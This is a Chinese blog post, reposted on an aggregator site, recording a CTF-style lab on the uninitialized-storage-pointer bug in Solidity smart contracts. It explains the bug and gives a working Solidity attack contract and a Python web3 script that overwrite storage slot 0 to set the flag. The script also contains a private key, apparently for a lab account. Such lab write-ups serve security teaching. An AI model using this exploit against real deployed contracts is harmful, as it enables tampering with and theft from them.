某60区块链安全之未初始化的存储指针实战一学习记录

这篇具有很好参考价值的文章主要介绍了某60区块链安全之未初始化的存储指针实战一学习记录。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

区块链安全

未初始化的存储指针实战一

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时,必须明确指明其位置在storage还是memory中。
在函数内部,mapping类型则不能作为临时变量使用,只能作为某个状态变量的”储存指针”,也就是mapping类型必须在编译时进行预先初始化,而不能作为运动时产生的数据。如果智能合约函数声明了临时的动态数组或者sturct,而没有指定“位置”,且没有进行初始化,那么这些变量将默认存储在storage。
未初始化的存储指针是指在 EVM 中未进行初始化的 storage 变量,这个变量会指向其他变量的区域,从而更改其他变量的值。
实验内容
合约中内置了结构体未初始化的存储指针问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10007

实验过程

获取合约地址和合约源代码
nc ip 10007连接到题目,输入1,获取部署合约的game account及token
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

打开http://ip,输入上述分配的game account,点击Request获取eth
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

nc ip 10007连接到题目,输入2,获取部署合约的地址及new token
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

nc ip 10007连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

分析合约源代码漏洞
题目要求将合约中的flag变量设置为true,分析代码,并未见到直接可将flag设置为true的代码
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

典型的利用 struct 默认是 storage 的题目,struct在函数中未明确指明是memory变量,则其是storage变量,声明的变量默认从slot 0开始存储
函数中声明的 newRecord 结构体修改 name 和 mappedAddress 实际分别改的是 unlocked 和 bytes32 name
所以把 name 对应的 slot 0 的值改成 1 就行了
EXP利用
编写第三方攻击合约attack.sol,将下述ETH7地址换成自己题目合约的地址,调用目标合约的register(1, tx.origin)
pragma solidity ^0.4.23;

contract hack {
ETH7 target = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);
constructor() public {
target.register(1, tx.origin);
}
}
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

用python编写自动化exp,功能包括部署攻击合约得到攻击合约地址,在攻击合约的构造函数中完成攻击

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']

txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)

执行exp
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习

nc ip 10007连接到题目,输入3,输入之前的new token,获取flag
某60区块链安全之未初始化的存储指针实战一学习记录,区块链,安全,学习文章来源地址https://www.toymoban.com/news/detail-769682.html

到了这里,关于某60区块链安全之未初始化的存储指针实战一学习记录的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • android存储3--初始化.unlock事件的处理

    android版本:android-11.0.0_r21 http://aospxref.com/android-11.0.0_r21 概述:SystemServiceManager收到unlock事件后,遍历service链表,执行各个service的onUserUnlocking。对于存储service,执行的是StorageManagerService$Lifecycle中的 onUserUnlocking,在这个方法中,存储的 StorageSessionController、vold、storaged模块进行

    2024年02月10日
    浏览(38)
  • [数据存储]HDFS的简介、初始化配置与运行

    HDFS(Hadoop Distributed File System)Hadoop分布式文件系统,是Hadoop项目中关于数据存储的组件,是Hadoop项目的一部分。 HDFS采用主从模式的分布式存储方式存储文件。对于超大的数据而言,单个服务器无法承担对改数据的存储和读取工作。所以采用分布式的架构对文件进行存储。

    2024年02月12日
    浏览(33)
  • 数据结构与算法——顺序表(顺序存储结构)及初始化详解

    顺序表 ,全名 顺序存储结构 ,是线性表的一种。通过《什么是线性表》一节的学习我们知道,线性表用于存储逻辑关系为“一对一”的数据,顺序表自然也不例外。 不仅如此,顺序表对数据的物理存储结构也有要求。 顺序表存储数据时,会提前申请一整块足够大小的物理

    2024年02月16日
    浏览(31)
  • C++结构体分别在:栈空间、堆空间、静态存储区中初始化

    1,指定每个成员的初始值 这种初始化方法的存储位置取决于定义变量的位置,如果定义在函数内,则存储在栈空间;如果定义在全局作用域,则存储在静态存储区。 2,只初始化部分成员 这种初始化方法的存储位置取决于定义变量的位置,如果定义在函数内,则存储在栈空

    2024年02月03日
    浏览(28)
  • 顺序栈的基本操作(存储结构设计、初始化、判空、判满、入栈、出栈、取栈顶元素、遍历输出栈内元素)

    以上为总的代码,对于栈满时存在一些问题待改进 ———————————————————————————————————————— 以下为代码编写过程,有参考网上大佬的代码   创建栈后报错,在scanf_s处缺少符号  会执行两遍创建栈?   在主函数里边确实有两

    2024年02月05日
    浏览(29)
  • 第五节、项目支付功能实战-证书获取、微信支付集成初始化配置、sdk统一下单、api安全源码解读

    本节首先会讲解商户证书、私钥、微信平台证书的获取、APIv3密钥的生成。然后将我们微信支付需要的参数配置信息初始化出来,为后面的业务代码使用。结合微信平台证书下载案例和微信统一下单api来讲解请求和响应都做了什么操作。上一节中我们提到的那些证书又是如何

    2024年02月03日
    浏览(33)
  • L2TP连接尝试失败,因为安全层在初始化与远程计算机的协商时遇到一个处理错误。

    一、首先这个问题,有一定概率出现(已确认) 1. 使用后未将其断开或者频繁连接断开,导致注册表出现异常。(目前推断是这样的) 2. 系统网卡驱动问题,需要进行网络重置,卸载网卡驱动后重新安装网卡驱动。(已使用2年半的方法) 二、关联的系统服务选项 服务名称

    2024年02月02日
    浏览(53)
  • Pytorch权重初始化/参数初始化

    refer: 【Pytorch】各网络层的默认初始化方法 https://blog.csdn.net/guofei_fly/article/details/105109883 其实Pytorch初始化方法就在各自的层的 def reset_parameters(self) - None: 方法中。 有人可能会问 为什么这个方法和Pytorch直接出来的权重初始值不一样 ?单步调试会发现其实这个方法运行了至少两

    2024年02月11日
    浏览(49)
  • win11 解决L2TP连接尝试失败,因为安全层在初始化与远程计算机的协商时遇到一个处理错误

    百度了大量文章挨个试,最终结合多个文章的方法连上了。这里整合记录一下  修改注册表 1:在“开始 运行”中输入regedit.exe,单击“确定”,进入 2:找到这个目录 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesPolicyAgent   点击:编辑--新键--dword   文件名称:AssumeUDPEncapsulation

    2024年02月15日
    浏览(40)
  • Linux内存初始化-启动阶段的内存初始化

    本文代码基于ARM64平台, Linux kernel 5.15 在加载kernel 之前, kernel对于系统是有一定要求的,明确规定了boot阶段必须要把MMU关闭: 那么在进入kernel之后, 就必须有一个使能MMU, 建立映射的过程, 本文描述kernel启动阶段进行内存初始化相关的操作。 在初始化阶段,我们mapping二段

    2024年02月08日
    浏览(67)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包